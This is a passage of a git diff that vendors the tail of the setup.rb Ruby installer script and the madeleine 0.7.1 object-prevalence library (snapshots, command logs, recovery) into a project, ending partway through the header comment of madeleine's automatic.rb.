+    get_entry name or raise ArgumentError, "no such config: #{name}"
+    DESCRIPTER.delete_if {|n,arr| n == name }
+  end
+
+  def ConfigTable.config_key?( name )
+    get_entry(name) ? true : false
+  end
+
+  def ConfigTable.bool_config?( name )
+    ent = get_entry(name) or return false
+    ent[1] == 'yes/no'
+  end
+
+  def ConfigTable.value_config?( name )
+    ent = get_entry(name) or return false
+    ent[1] != 'yes/no'
+  end
+
+  def ConfigTable.path_config?( name )
+    ent = get_entry(name) or return false
+    ent[1] == 'path'
+  end
+
+
+  class << self
+    alias newobj new
+
+    def new
+      c = newobj()
+      c.__send__ :init
+      c
+    end
+
+    def load
+      c = newobj()
+      raise InstallError, "#{File.basename $0} config first"\
+                                      unless FileTest.file?(SAVE_FILE)
+      File.foreach(SAVE_FILE) do |line|
+        k, v = line.split(/=/, 2)
+        c.instance_eval {
+            @table[k] = v.strip
+        }
+      end
+      c
+    end
+  end
+
+  def initialize
+    @table = {}
+  end
+
+  def init
+    DESCRIPTER.each do |k, (default, vname, desc, default2)|
+      @table[k] = default
+    end
+  end
+  private :init
+
+  def save
+    File.open(SAVE_FILE, 'w') {|f|
+        @table.each do |k, v|
+          f.printf "%s=%s\n", k, v if v
+        end
+    }
+  end
+
+  def []=( k, v )
+    ConfigTable.config_key? k or raise InstallError, "unknown config option #{k}"
+    if ConfigTable.path_config? k
+      @table[k] = (v[0,1] != '$') ? File.expand_path(v) : v
+    else
+      @table[k] = v
+    end
+  end
+    
+  def []( key )
+    @table[key] or return nil
+    @table[key].gsub(%r<\$([^/]+)>) { self[$1] }
+  end
+
+  def set_raw( key, val )
+    @table[key] = val
+  end
+
+  def get_raw( key )
+    @table[key]
+  end
+
+end
+
+
+module MetaConfigAPI
+
+  def eval_file_ifexist( fname )
+    instance_eval File.read_all(fname), fname, 1 if FileTest.file?(fname)
+  end
+
+  def config_names
+    ConfigTable.keys
+  end
+
+  def config?( name )
+    ConfigTable.config_key? name
+  end
+
+  def bool_config?( name )
+    ConfigTable.bool_config? name
+  end
+
+  def value_config?( name )
+    ConfigTable.value_config? name
+  end
+
+  def path_config?( name )
+    ConfigTable.path_config? name
+  end
+
+  def add_config( name, argname, default, desc )
+    ConfigTable.add_entry name,[default,argname,desc]
+  end
+
+  def add_path_config( name, default, desc )
+    add_config name, 'path', default, desc
+  end
+
+  def add_bool_config( name, default, desc )
+    add_config name, 'yes/no', default ? 'yes' : 'no', desc
+  end
+
+  def set_config_default( name, default )
+    if bool_config? name
+      ConfigTable.get_entry!(name)[0] = default ? 'yes' : 'no'
+    else
+      ConfigTable.get_entry!(name)[0] = default
+    end
+  end
+
+  def remove_config( name )
+    ent = ConfigTable.get_entry(name)
+    ConfigTable.remove_entry name
+    ent
+  end
+
+end
+
+### end config.rb
+### begin fileop.rb
+
+module FileOperations
+
+  def mkdir_p( dname, prefix = nil )
+    dname = prefix + dname if prefix
+    $stderr.puts "mkdir -p #{dname}" if verbose?
+    return if no_harm?
+
+    # does not check '/'... it's too abnormal case
+    dirs = dname.split(%r<(?=/)>)
+    if /\A[a-z]:\z/i === dirs[0]
+      disk = dirs.shift
+      dirs[0] = disk + dirs[0]
+    end
+    dirs.each_index do |idx|
+      path = dirs[0..idx].join('')
+      Dir.mkdir path unless dir? path
+    end
+  end
+
+  def rm_f( fname )
+    $stderr.puts "rm -f #{fname}" if verbose?
+    return if no_harm?
+
+    if File.exist? fname or File.symlink? fname
+      File.chmod 0777, fname
+      File.unlink fname
+    end
+  end
+
+  def rm_rf( dn )
+    $stderr.puts "rm -rf #{dn}" if verbose?
+    return if no_harm?
+
+    Dir.chdir dn
+    Dir.foreach('.') do |fn|
+      next if fn == '.'
+      next if fn == '..'
+      if dir? fn
+        verbose_off {
+            rm_rf fn
+        }
+      else
+        verbose_off {
+            rm_f fn
+        }
+      end
+    end
+    Dir.chdir '..'
+    Dir.rmdir dn
+  end
+
+  def mv( src, dest )
+    rm_f dest
+    begin
+      File.link src, dest
+    rescue
+      File.write dest, File.read_all(src)
+      File.chmod File.stat(src).mode, dest
+    end
+    rm_f src
+  end
+
+  def install( from, dest, mode, prefix = nil )
+    $stderr.puts "install #{from} #{dest}" if verbose?
+    return if no_harm?
+
+    realdest = prefix + dest if prefix
+    if dir? realdest
+      realdest += '/' + File.basename(from)
+    end
+    str = File.read_all(from)
+    if diff? str, realdest
+      verbose_off {
+          rm_f realdest if File.exist? realdest
+      }
+      File.write realdest, str
+      File.chmod mode, realdest
+
+      File.open(objdir + '/InstalledFiles', 'a') {|f| f.puts realdest }
+    end
+  end
+
+  def diff?( orig, targ )
+    return true unless File.exist? targ
+    orig != File.read_all(targ)
+  end
+
+  def command( str )
+    $stderr.puts str if verbose?
+    system str or raise RuntimeError, "'system #{str}' failed"
+  end
+
+  def ruby( str )
+    command config('ruby-prog') + ' ' + str
+  end
+
+  def dir?( dname )
+    # for corrupted windows stat()
+    File.directory?((dname[-1,1] == '/') ? dname : dname + '/')
+  end
+
+  def all_files_in( dname )
+    Dir.open(dname) {|d|
+        return d.select {|n| FileTest.file? "#{dname}/#{n}" }
+    }
+  end
+
+  REJECT_DIRS = %w(
+    CVS SCCS RCS CVS.adm
+  )
+
+  def all_dirs_in( dname )
+    Dir.open(dname) {|d|
+        return d.select {|n| dir? "#{dname}/#{n}" } - %w(. ..) - REJECT_DIRS
+    }
+  end
+
+end
+
+### end fileop.rb
+### begin base.rb
+
+class InstallError < StandardError; end
+
+
+class Installer
+
+  Version   = '3.1.4'
+  Copyright = 'Copyright (c) 2000-2003 Minero Aoki'
+
+
+  @toplevel = nil
+
+  def self.declare_toplevel_installer( inst )
+    raise ArgumentError, 'two toplevel installers declared' if @toplevel
+    @toplevel = inst
+  end
+
+  def self.toplevel_installer
+    @toplevel
+  end
+
+
+  FILETYPES = %w( bin lib ext data )
+
+  include FileOperations
+
+  def initialize( config, opt, srcroot, objroot )
+    @config = config
+    @options = opt
+    @srcdir = File.expand_path(srcroot)
+    @objdir = File.expand_path(objroot)
+    @currdir = '.'
+  end
+
+  def inspect
+    "#<#{self.class} #{__id__}>"
+  end
+
+  #
+  # configs/options
+  #
+
+  def get_config( key )
+    @config[key]
+  end
+
+  alias config get_config
+
+  def set_config( key, val )
+    @config[key] = val
+  end
+
+  def no_harm?
+    @options['no-harm']
+  end
+
+  def verbose?
+    @options['verbose']
+  end
+
+  def verbose_off
+    save, @options['verbose'] = @options['verbose'], false
+    yield
+    @options['verbose'] = save
+  end
+
+  #
+  # srcdir/objdir
+  #
+
+  attr_reader :srcdir
+  alias srcdir_root srcdir
+  alias package_root srcdir
+
+  def curr_srcdir
+    "#{@srcdir}/#{@currdir}"
+  end
+
+  attr_reader :objdir
+  alias objdir_root objdir
+
+  def curr_objdir
+    "#{@objdir}/#{@currdir}"
+  end
+
+  def srcfile( path )
+    curr_srcdir + '/' + path
+  end
+
+  def srcexist?( path )
+    File.exist? srcfile(path)
+  end
+
+  def srcdirectory?( path )
+    dir? srcfile(path)
+  end
+  
+  def srcfile?( path )
+    FileTest.file? srcfile(path)
+  end
+
+  def srcentries( path = '.' )
+    Dir.open(curr_srcdir + '/' + path) {|d|
+        return d.to_a - %w(. ..) - hookfilenames
+    }
+  end
+
+  def srcfiles( path = '.' )
+    srcentries(path).select {|fname|
+        FileTest.file? File.join(curr_srcdir, path, fname)
+    }
+  end
+
+  def srcdirectories( path = '.' )
+    srcentries(path).select {|fname|
+        dir? File.join(curr_srcdir, path, fname)
+    }
+  end
+
+  def dive_into( rel )
+    return unless dir?("#{@srcdir}/#{rel}")
+
+    dir = File.basename(rel)
+    Dir.mkdir dir unless dir?(dir)
+    prevdir = Dir.pwd
+    Dir.chdir dir
+    $stderr.puts '---> ' + rel if verbose?
+    @currdir = rel
+    yield
+    Dir.chdir prevdir
+    $stderr.puts '<--- ' + rel if verbose?
+    @currdir = File.dirname(rel)
+  end
+
+  #
+  # TASK config
+  #
+
+  def exec_config
+    exec_task_traverse 'config'
+  end
+
+  def config_dir_bin( rel )
+  end
+
+  def config_dir_lib( rel )
+  end
+
+  def config_dir_ext( rel )
+    extconf if extdir? curr_srcdir
+  end
+
+  def extconf
+    opt = @options['config-opt'].join(' ')
+    command "#{config('ruby-prog')} #{curr_srcdir}/extconf.rb #{opt}"
+  end
+
+  def config_dir_data( rel )
+  end
+
+  #
+  # TASK setup
+  #
+
+  def exec_setup
+    exec_task_traverse 'setup'
+  end
+
+  def setup_dir_bin( relpath )
+    all_files_in(curr_srcdir()).each do |fname|
+      add_rubypath "#{curr_srcdir}/#{fname}"
+    end
+  end
+
+  SHEBANG_RE = /\A\#!\s*\S*ruby\S*/
+
+  def add_rubypath( path )
+    $stderr.puts %Q<set #! line to "\#!#{config('ruby-path')}" for #{path} ...> if verbose?
+    return if no_harm?
+
+    tmpfile = File.basename(path) + '.tmp'
+    begin
+      File.open(path) {|r|
+      File.open(tmpfile, 'w') {|w|
+          first = r.gets
+          return unless SHEBANG_RE === first   # reject '/usr/bin/env ruby'
+
+          w.print first.sub(SHEBANG_RE, '#!' + config('ruby-path'))
+          w.write r.read
+      } }
+      mv tmpfile, File.basename(path)
+    ensure
+      rm_f tmpfile if File.exist? tmpfile
+    end
+  end
+
+  def setup_dir_lib( relpath )
+  end
+
+  def setup_dir_ext( relpath )
+    make if extdir?(curr_srcdir)
+  end
+
+  def setup_dir_data( relpath )
+  end
+
+  #
+  # TASK install
+  #
+
+  def exec_install
+    exec_task_traverse 'install'
+  end
+
+  def install_dir_bin( rel )
+    install_files target_filenames(), config('bin-dir') + '/' + rel, 0755
+  end
+
+  def install_dir_lib( rel )
+    install_files target_filenames(), config('rb-dir') + '/' + rel, 0644
+  end
+
+  def install_dir_ext( rel )
+    install_dir_ext_main File.dirname(rel) if extdir?(curr_srcdir)
+  end
+
+  def install_dir_ext_main( rel )
+    install_files allext('.'), config('so-dir') + '/' + rel, 0555
+  end
+
+  def install_dir_data( rel )
+    install_files target_filenames(), config('data-dir') + '/' + rel, 0644
+  end
+
+  def install_files( list, dest, mode )
+    mkdir_p dest, @options['install-prefix']
+    list.each do |fname|
+      install fname, dest, mode, @options['install-prefix']
+    end
+  end
+
+  def target_filenames
+    if FileTest.file? "#{curr_srcdir()}/MANIFEST"
+      mapdir(target_filenames_MANIFEST())
+    else
+      mapdir(target_filenames_AUTO())
+    end
+  end
+
+  def mapdir( filelist )
+    filelist.map {|fname|
+        if File.exist? fname   # current objdir == '.'
+          fname
+        else
+          File.join(curr_srcdir(), fname)
+        end
+    }
+  end
+
+  def target_filenames_MANIFEST
+    File.read_all("#{curr_srcdir()}/MANIFEST").split
+  end
+  
+  # picked up many entries from cvs-1.11.1/src/ignore.c
+  REJECT_PATTERNS = %w( 
+      core RCSLOG tags TAGS .make.state
+      .nse_depinfo #* .#* cvslog.* ,* .del-* *.a *.olb *.o *.obj
+      *.so *.Z *~ *.old *.elc *.ln *.bak *.BAK *.orig *.rej *.exe _$* *$
+
+      *.org *.in .*
+  ).map {|pattern|
+      Regexp.compile('\A' + pattern.gsub(/[\.\$]/) {|s| '\\' + s }.gsub(/\*/, '.*') + '\z')
+  }
+
+  def target_filenames_AUTO
+    (existfiles() - hookfiles()).reject {|fname|
+        REJECT_PATTERNS.any? {|re| re === fname }
+    }
+  end
+
+  def existfiles
+    all_files_in(curr_srcdir()) | all_files_in(curr_objdir())
+  end
+
+  def hookfiles
+    %w( pre-%s post-%s pre-%s.rb post-%s.rb ).map {|fmt|
+        %w( config setup install clean ).map {|t| sprintf(fmt, t) }
+    }.flatten
+  end
+
+  def allext( dir )
+    _allext(dir) or raise InstallError,
+        "no extention exists: Have you done 'ruby #{$0} setup' ?"
+  end
+
+  DLEXT = /\.#{ ::Config::CONFIG['DLEXT'] }\z/
+
+  def _allext( dir )
+    Dir.open(dir) {|d|
+        return d.select {|fname| DLEXT === fname }
+    }
+  end
+
+  #
+  # TASK clean
+  #
+
+  def exec_clean
+    exec_task_traverse 'clean'
+    rm_f 'config.save'
+    rm_f 'InstalledFiles'
+  end
+
+  def clean_dir_bin( rel )
+  end
+
+  def clean_dir_lib( rel )
+  end
+
+  def clean_dir_ext( rel )
+    make 'clean' if FileTest.file?('Makefile')
+  end
+
+  def clean_dir_data( rel )
+  end
+
+  #
+  # TASK distclean
+  #
+
+  def exec_distclean
+    exec_task_traverse 'distclean'
+    rm_f 'config.save'
+    rm_f 'InstalledFiles'
+  end
+
+  def distclean_dir_bin( rel )
+  end
+
+  def distclean_dir_lib( rel )
+  end
+
+  def distclean_dir_ext( rel )
+    make 'distclean' if FileTest.file?('Makefile')
+  end
+
+  #
+  # lib
+  #
+  
+  def make( task = '' )
+    command config('make-prog') + ' ' + task
+  end
+
+  def exec_task_traverse( task )
+    run_hook 'pre-' + task
+    FILETYPES.each do |type|
+      if config('without-ext') == 'yes' and type == 'ext'
+        $stderr.puts 'skipping ext/* by user option' if verbose?
+        next
+      end
+      traverse task, type, task + '_dir_' + type
+    end
+    run_hook 'post-' + task
+  end
+
+  def traverse( task, rel, mid )
+    dive_into(rel) {
+        run_hook 'pre-' + task
+        __send__ mid, rel.sub(%r[\A.*?(?:/|\z)], '')
+        all_dirs_in(curr_srcdir()).each do |d|
+          traverse task, rel + '/' + d, mid
+        end
+        run_hook 'post-' + task
+    }
+  end
+
+  def run_hook( name )
+    try_run_hook curr_srcdir + '/' + name           or
+    try_run_hook curr_srcdir + '/' + name + '.rb'
+  end
+
+  def try_run_hook( fname )
+    return false unless FileTest.file?(fname)
+
+    env = self.dup
+    begin
+      env.instance_eval File.read_all(fname), fname, 1
+    rescue
+      raise InstallError, "hook #{fname} failed:\n" + $!.message
+    end
+    true
+  end
+
+  def extdir?( dir )
+    File.exist? dir + '/MANIFEST'
+  end
+
+end
+
+### end base.rb
+### begin toplevel.rb
+
+class ToplevelInstaller < Installer
+
+  def self.invoke
+    new(File.dirname($0)).invoke
+  end
+
+
+  TASKS = [
+    [ 'config',   'saves your configurations' ],
+    [ 'show',     'shows current configuration' ],
+    [ 'setup',    'compiles extention or else' ],
+    [ 'install',  'installs files' ],
+    [ 'clean',    "does `make clean' for each extention" ],
+    [ 'distclean',"does `make distclean' for each extention" ]
+  ]
+
+
+  def initialize( root )
+    super nil, {'verbose' => true}, root, '.'
+    Installer.declare_toplevel_installer self
+  end
+
+
+  def invoke
+    run_metaconfigs
+
+    case task = parsearg_global()
+    when 'config'
+      @config = ConfigTable.new
+    else
+      @config = ConfigTable.load
+    end
+    parsearg_TASK task
+
+    exectask task
+  end
+
+  include MetaConfigAPI
+
+  def run_metaconfigs
+    eval_file_ifexist "#{srcdir_root()}/metaconfig"
+  end
+
+
+  def exectask( task )
+    if task == 'show'
+      exec_show
+    else
+      try task
+    end
+  end
+
+  def try( task )
+    $stderr.printf "#{File.basename $0}: entering %s phase...\n", task if verbose?
+    begin
+      __send__ 'exec_' + task
+    rescue
+      $stderr.printf "%s failed\n", task
+      raise
+    end
+    $stderr.printf "#{File.basename $0}: %s done.\n", task if verbose?
+  end
+
+  #
+  # processing arguments
+  #
+
+  def parsearg_global
+    task_re = /\A(?:#{TASKS.map {|i| i[0] }.join '|'})\z/
+
+    while arg = ARGV.shift
+      case arg
+      when /\A\w+\z/
+        task_re === arg or raise InstallError, "wrong task: #{arg}"
+        return arg
+
+      when '-q', '--quiet'
+        @options['verbose'] = false
+
+      when       '--verbose'
+        @options['verbose'] = true
+
+      when '-h', '--help'
+        print_usage $stdout
+        exit 0
+
+      when '-v', '--version'
+        puts "#{File.basename $0} version #{Version}"
+        exit 0
+      
+      when '--copyright'
+        puts Copyright
+        exit 0
+
+      else
+        raise InstallError, "unknown global option '#{arg}'"
+      end
+    end
+
+    raise InstallError, "No task or global option given.
+Typical installation procedure is:
+    $ ruby #{File.basename $0} config
+    $ ruby #{File.basename $0} setup
+    # ruby #{File.basename $0} install  (may require root privilege)
+"
+  end
+
+
+  def parsearg_TASK( task )
+    mid = "parsearg_#{task}"
+    if respond_to? mid, true
+      __send__ mid
+    else
+      ARGV.empty? or
+          raise InstallError, "#{task}:  unknown options: #{ARGV.join ' '}"
+    end
+  end
+
+  def parsearg_config
+    re = /\A--(#{ConfigTable.keys.join '|'})(?:=(.*))?\z/
+    @options['config-opt'] = []
+
+    while i = ARGV.shift
+      if /\A--?\z/ === i
+        @options['config-opt'] = ARGV.dup
+        break
+      end
+      m = re.match(i) or raise InstallError, "config: unknown option #{i}"
+      name, value = m.to_a[1,2]
+      if value
+        if ConfigTable.bool_config?(name)
+          /\A(y(es)?|n(o)?|t(rue)?|f(alse))\z/i === value or raise InstallError, "config: --#{name} allows only yes/no for argument"
+          value = (/\Ay(es)?|\At(rue)/i === value) ? 'yes' : 'no'
+        end
+      else
+        ConfigTable.bool_config?(name) or raise InstallError, "config: --#{name} requires argument"
+        value = 'yes'
+      end
+      @config[name] = value
+    end
+  end
+
+  def parsearg_install
+    @options['no-harm'] = false
+    @options['install-prefix'] = ''
+    while a = ARGV.shift
+      case a
+      when /\A--no-harm\z/
+        @options['no-harm'] = true
+      when /\A--prefix=(.*)\z/
+        path = $1
+        path = File.expand_path(path) unless path[0,1] == '/'
+        @options['install-prefix'] = path
+      else
+        raise InstallError, "install: unknown option #{a}"
+      end
+    end
+  end
+
+
+  def print_usage( out )
+    out.puts 'Typical Installation Procedure:'
+    out.puts "  $ ruby #{File.basename $0} config"
+    out.puts "  $ ruby #{File.basename $0} setup"
+    out.puts "  # ruby #{File.basename $0} install (may require root privilege)"
+    out.puts
+    out.puts 'Detailed Usage:'
+    out.puts "  ruby #{File.basename $0} <global option>"
+    out.puts "  ruby #{File.basename $0} [<global options>] <task> [<task options>]"
+
+    fmt = "  %-20s %s\n"
+    out.puts
+    out.puts 'Global options:'
+    out.printf fmt, '-q,--quiet',   'suppress message outputs'
+    out.printf fmt, '   --verbose', 'output messages verbosely'
+    out.printf fmt, '-h,--help',    'print this message'
+    out.printf fmt, '-v,--version', 'print version and quit'
+    out.printf fmt, '   --copyright',  'print copyright and quit'
+
+    out.puts
+    out.puts 'Tasks:'
+    TASKS.each do |name, desc|
+      out.printf "  %-10s  %s\n", name, desc
+    end
+
+    out.puts
+    out.puts 'Options for config:'
+    ConfigTable.each_definition do |name, (default, arg, desc, default2)|
+      out.printf "  %-20s %s [%s]\n",
+                 '--'+ name + (ConfigTable.bool_config?(name) ? '' : '='+arg),
+                 desc,
+                 default2 || default
+    end
+    out.printf "  %-20s %s [%s]\n",
+        '--rbconfig=path', 'your rbconfig.rb to load', "running ruby's"
+
+    out.puts
+    out.puts 'Options for install:'
+    out.printf "  %-20s %s [%s]\n",
+        '--no-harm', 'only display what to do if given', 'off'
+    out.printf "  %-20s %s [%s]\n",
+        '--prefix',  'install path prefix', '$prefix'
+
+    out.puts
+  end
+
+  #
+  # config
+  #
+
+  def exec_config
+    super
+    @config.save
+  end
+
+  #
+  # show
+  #
+
+  def exec_show
+    ConfigTable.each_name do |k|
+      v = @config.get_raw(k)
+      if not v or v.empty?
+        v = '(not specified)'
+      end
+      printf "%-10s %s\n", k, v
+    end
+  end
+
+end
+
+### end toplevel.rb
+
+if $0 == __FILE__
+  begin
+    ToplevelInstaller.invoke
+  rescue
+    raise if $DEBUG
+    $stderr.puts $!.message
+    $stderr.puts "Try 'ruby #{$0} --help' for detailed usage."
+    exit 1
+  end
+end
diff --git a/vendor/madeleine-0.7.1/lib/madeleine.rb b/vendor/madeleine-0.7.1/lib/madeleine.rb
new file mode 100755
index 00000000..3b6f8fdb
--- /dev/null
+++ b/vendor/madeleine-0.7.1/lib/madeleine.rb
@@ -0,0 +1,420 @@
+#
+# Madeleine - Ruby Object Prevalence
+#
+# Author::    Anders Bengtsson <ndrsbngtssn@yahoo.se>
+# Copyright:: Copyright (c) 2003-2004
+#
+# Usage:
+#
+#  require 'madeleine'
+#
+#  madeleine = SnapshotMadeleine.new("my_example_storage") {
+#    SomeExampleApplication.new()
+#  }
+#
+#  madeleine.execute_command(command)
+#
+
+module Madeleine
+
+  require 'thread'
+  require 'sync'
+  require 'madeleine/files'
+
+  MADELEINE_VERSION = "0.7.1"
+
+  class SnapshotMadeleine
+
+    # Builds a new Madeleine instance. If there is a snapshot available
+    # then the system will be created from that, otherwise
+    # <tt>new_system</tt> will be used. The state of the system will
+    # then be restored from the command logs.
+    #
+    # You can provide your own snapshot marshaller, for instance using
+    # YAML or SOAP, instead of Ruby's built-in marshaller. The
+    # <tt>snapshot_marshaller</tt> must respond to
+    # <tt>load(stream)</tt> and <tt>dump(object, stream)</tt>. You
+    # must use the same marshaller every time for a system.
+    #
+    # See: DefaultSnapshotMadeleine
+    #
+    # * <tt>directory_name</tt> - Storage directory to use. Will be created if needed.
+    # * <tt>snapshot_marshaller</tt> - Marshaller to use for system snapshots. (Optional)
+    # * <tt>new_system_block</tt> - Block to create a new system (if no stored system was found).
+    def self.new(directory_name, snapshot_marshaller=Marshal, &new_system_block)
+      log_factory = DefaultLogFactory.new
+      logger = Logger.new(directory_name,
+                          log_factory)
+      snapshotter = Snapshotter.new(directory_name,
+                                    snapshot_marshaller)
+      lock = DefaultLock.new
+      recoverer = Recoverer.new(directory_name,
+                                snapshot_marshaller)
+      system = recoverer.recover_snapshot(new_system_block)
+
+      executer = Executer.new(system)
+      recoverer.recover_logs(executer)
+      DefaultSnapshotMadeleine.new(system, logger, snapshotter, lock, executer)
+    end
+  end
+
+  class DefaultSnapshotMadeleine
+
+    # The prevalent system
+    attr_reader :system
+
+    def initialize(system, logger, snapshotter, lock, executer)
+      @system = system
+      @logger = logger
+      @snapshotter = snapshotter
+      @lock = lock
+      @executer = executer
+
+      @closed = false
+    end
+
+    # Execute a command on the prevalent system.
+    #
+    # Commands must have a method <tt>execute(aSystem)</tt>.
+    # Otherwise an error, <tt>Madeleine::InvalidCommandException</tt>,
+    # will be raised.
+    #
+    # The return value from the command's <tt>execute()</tt> method is returned.
+    #
+    # * <tt>command</tt> - The command to execute on the system.
+    def execute_command(command)
+      verify_command_sane(command)
+      @lock.synchronize {
+        raise "closed" if @closed
+        @logger.store(command)
+        @executer.execute(command)
+      }
+    end
+
+    # Execute a query on the prevalent system.
+    #
+    # Only differs from <tt>execute_command</tt> in that the command/query isn't logged, and
+    # therefore isn't allowed to modify the system. A shared lock is held, preventing others
+    # from modifying the system while the query is running.
+    #
+    # * <tt>query</tt> - The query command to execute
+    def execute_query(query)
+      @lock.synchronize_shared {
+        @executer.execute(query)
+      }
+    end
+
+    # Take a snapshot of the current system.
+    #
+    # You need to regularly take a snapshot of a running system,
+    # otherwise the logs will grow big and restarting the system will take a
+    # long time. Your backups must also be done from the snapshot files,
+    # since you can't make a consistent backup of a live log.
+    #
+    # A practical way of doing snapshots is a timer thread:
+    #
+    #  Thread.new(madeleine) {|madeleine|
+    #    while true
+    #      sleep(60 * 60 * 24) # 24 hours
+    #      madeleine.take_snapshot
+    #    end
+    #  }
+    def take_snapshot
+      @lock.synchronize {
+        @logger.close
+        @snapshotter.take(@system)
+        @logger.reset
+      }
+    end
+
+    # Close the system.
+    #
+    # The log file is closed and no new commands can be received
+    # by this Madeleine.
+    def close
+      @lock.synchronize {
+        @logger.close
+        @closed = true
+      }
+    end
+
+    private
+
+    def verify_command_sane(command)
+      unless command.respond_to?(:execute)
+        raise InvalidCommandException.new("Commands must have an 'execute' method")
+      end
+    end
+  end
+
+  class InvalidCommandException < Exception
+  end
+
+  #
+  # Internal classes below
+  #
+
+  FILE_COUNTER_SIZE = 21 #:nodoc:
+
+  class DefaultLock #:nodoc:
+
+    def initialize
+      @lock = Sync.new
+    end
+
+    def synchronize(&block)
+      @lock.synchronize(&block)
+    end
+
+    def synchronize_shared(&block)
+      @lock.synchronize(:SH, &block)
+    end
+  end
+
+  class Executer #:nodoc:
+
+    def initialize(system)
+      @system = system
+      @in_recovery = false
+    end
+
+    def execute(command)
+      begin
+        command.execute(@system)
+      rescue
+        raise unless @in_recovery
+      end
+    end
+
+    def recovery
+      begin
+        @in_recovery = true
+        yield
+      ensure
+        @in_recovery = false
+      end
+    end
+  end
+
+  class Recoverer #:nodoc:
+
+    def initialize(directory_name, marshaller)
+      @directory_name, @marshaller = directory_name, marshaller
+    end
+
+    def recover_snapshot(new_system_block)
+      system = nil
+      id = SnapshotFile.highest_id(@directory_name)
+      if id > 0
+        snapshot_file = SnapshotFile.new(@directory_name, id).name
+        open(snapshot_file, "rb") {|snapshot|
+          system = @marshaller.load(snapshot)
+        }
+      else
+        system = new_system_block.call
+      end
+      system
+    end
+
+    def recover_logs(executer)
+      executer.recovery {
+        CommandLog.log_file_names(@directory_name, FileService.new).each {|file_name|
+          open(@directory_name + File::SEPARATOR + file_name, "rb") {|log|
+            recover_log(executer, log)
+          }
+        }
+      }
+    end
+
+    private
+
+    def recover_log(executer, log)
+      while ! log.eof?
+        command = Marshal.load(log)
+        executer.execute(command)
+      end
+    end
+  end
+
+  class NumberedFile #:nodoc:
+
+    def initialize(path, name, id)
+      @path, @name, @id = path, name, id
+    end
+
+    def name
+      result = @path
+      result += File::SEPARATOR
+      result += sprintf("%0#{FILE_COUNTER_SIZE}d", @id)
+      result += '.'
+      result += @name
+    end
+  end
+
+  class CommandLog #:nodoc:
+
+    def self.log_file_names(directory_name, file_service)
+      return [] unless file_service.exist?(directory_name)
+      result = file_service.dir_entries(directory_name).select {|name|
+        name =~ /^\d{#{FILE_COUNTER_SIZE}}\.command_log$/
+      }
+      result.each {|name| name.untaint }
+      result.sort!
+      result
+    end
+
+    def initialize(path, file_service)
+      id = self.class.highest_log(path, file_service) + 1
+      numbered_file = NumberedFile.new(path, "command_log", id)
+      @file = file_service.open(numbered_file.name, 'wb')
+    end
+
+    def close
+      @file.close
+    end
+
+    def store(command)
+      Marshal.dump(command, @file)
+      @file.flush
+      @file.fsync
+    end
+
+    def self.highest_log(directory_name, file_service)
+      highest = 0
+      log_file_names(directory_name, file_service).each {|file_name|
+        match = /^(\d{#{FILE_COUNTER_SIZE}})/.match(file_name)
+        n = match[1].to_i
+        if n > highest
+          highest = n
+        end
+      }
+      highest
+    end
+  end
+
+  class DefaultLogFactory #:nodoc:
+    def create_log(directory_name)
+      CommandLog.new(directory_name, FileService.new)
+    end
+  end
+
+  class Logger #:nodoc:
+
+    def initialize(directory_name, log_factory)
+      @directory_name = directory_name
+      @log_factory = log_factory
+      @log = nil
+      @pending_tick = nil
+      ensure_directory_exists
+    end
+
+    def ensure_directory_exists
+      if ! File.exist?(@directory_name)
+        Dir.mkdir(@directory_name)
+      end
+    end
+
+    def reset
+      close
+      delete_log_files
+    end
+
+    def store(command)
+      if command.kind_of?(Madeleine::Clock::Tick)
+        @pending_tick = command
+      else
+        if @pending_tick
+          internal_store(@pending_tick)
+          @pending_tick = nil
+        end
+        internal_store(command)
+      end
+    end
+
+    def internal_store(command)
+      if @log.nil?
+        open_new_log
+      end
+      @log.store(command)
+    end
+
+    def close
+      return if @log.nil?
+      @log.close
+      @log = nil
+    end
+
+    private
+
+    def delete_log_files
+      Dir.glob(@directory_name + File::SEPARATOR + "*.command_log").each {|name|
+        name.untaint
+        File.delete(name)
+      }
+    end
+
+    def open_new_log
+      @log = @log_factory.create_log(@directory_name)
+    end
+  end
+
+  class SnapshotFile < NumberedFile #:nodoc:
+
+    def self.highest_id(directory_name)
+      return 0 unless File.exist?(directory_name)
+      suffix = "snapshot"
+      highest = 0
+      Dir.foreach(directory_name) {|file_name|
+        match = /^(\d{#{FILE_COUNTER_SIZE}}\.#{suffix}$)/.match(file_name)
+        next unless match
+        n = match[1].to_i
+        if n > highest
+          highest = n
+        end
+      }
+      highest
+    end
+
+    def self.next(directory_name)
+      new(directory_name, highest_id(directory_name) + 1)
+    end
+
+    def initialize(directory_name, id)
+      super(directory_name, "snapshot", id)
+    end
+  end
+
+  class Snapshotter #:nodoc:
+
+    def initialize(directory_name, marshaller)
+      @directory_name, @marshaller = directory_name, marshaller
+    end
+
+    def take(system)
+      numbered_file = SnapshotFile.next(@directory_name)
+      name = numbered_file.name
+      open(name + '.tmp', 'wb') {|snapshot|
+        @marshaller.dump(system, snapshot)
+        snapshot.flush
+        snapshot.fsync
+      }
+      File.rename(name + '.tmp', name)
+    end
+  end
+
+  module Clock #:nodoc:
+    class Tick #:nodoc:
+
+      def initialize(time)
+        @time = time
+      end
+
+      def execute(system)
+        system.clock.forward_to(@time)
+      end
+    end
+  end
+end
+
+SnapshotMadeleine = Madeleine::SnapshotMadeleine
+
diff --git a/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb b/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb
new file mode 100755
index 00000000..447d5ec3
--- /dev/null
+++ b/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb
@@ -0,0 +1,418 @@
+require 'yaml'
+require 'madeleine/zmarshal'
+require 'soap/marshal'
+
+module Madeleine
+
+# Automatic commands for Madeleine
+#
+# Author::    Stephen Sykes <sds@stephensykes.com>
+# Copyright:: Copyright (C) 2003-2004
+# Version::   0.41
+#
+# This module provides a way of automatically generating command objects for madeleine to
+# store.  It works by making a proxy object for all objects of any classes in which it is included.
+# Method calls to these objects are intercepted, and stored as a command before being
+# passed on to the real receiver.  The command objects remember which object the command was
+# destined for by using a pair of internal ids that are contained in each of the proxy objects.
+#
+# There is also a mechanism for specifying which methods not to intercept calls to by using
+# automatic_read_only, and its opposite automatic_read_write.
+#
+# Should you require it, the snapshots can be stored as yaml, and can be compressed.  Just pass 
+# the marshaller you want to use as the second argument to AutomaticSnapshotMadeleine.new.  
+# If the passed marshaller did not successfully deserialize the latest snapshot, the system 
+# will try to automatically detect and read either Marshal, YAML, SOAP, or their corresponding
+# compressed versions.
+#
+# This module is designed to work correctly in the case there are multiple madeleine systems in use by
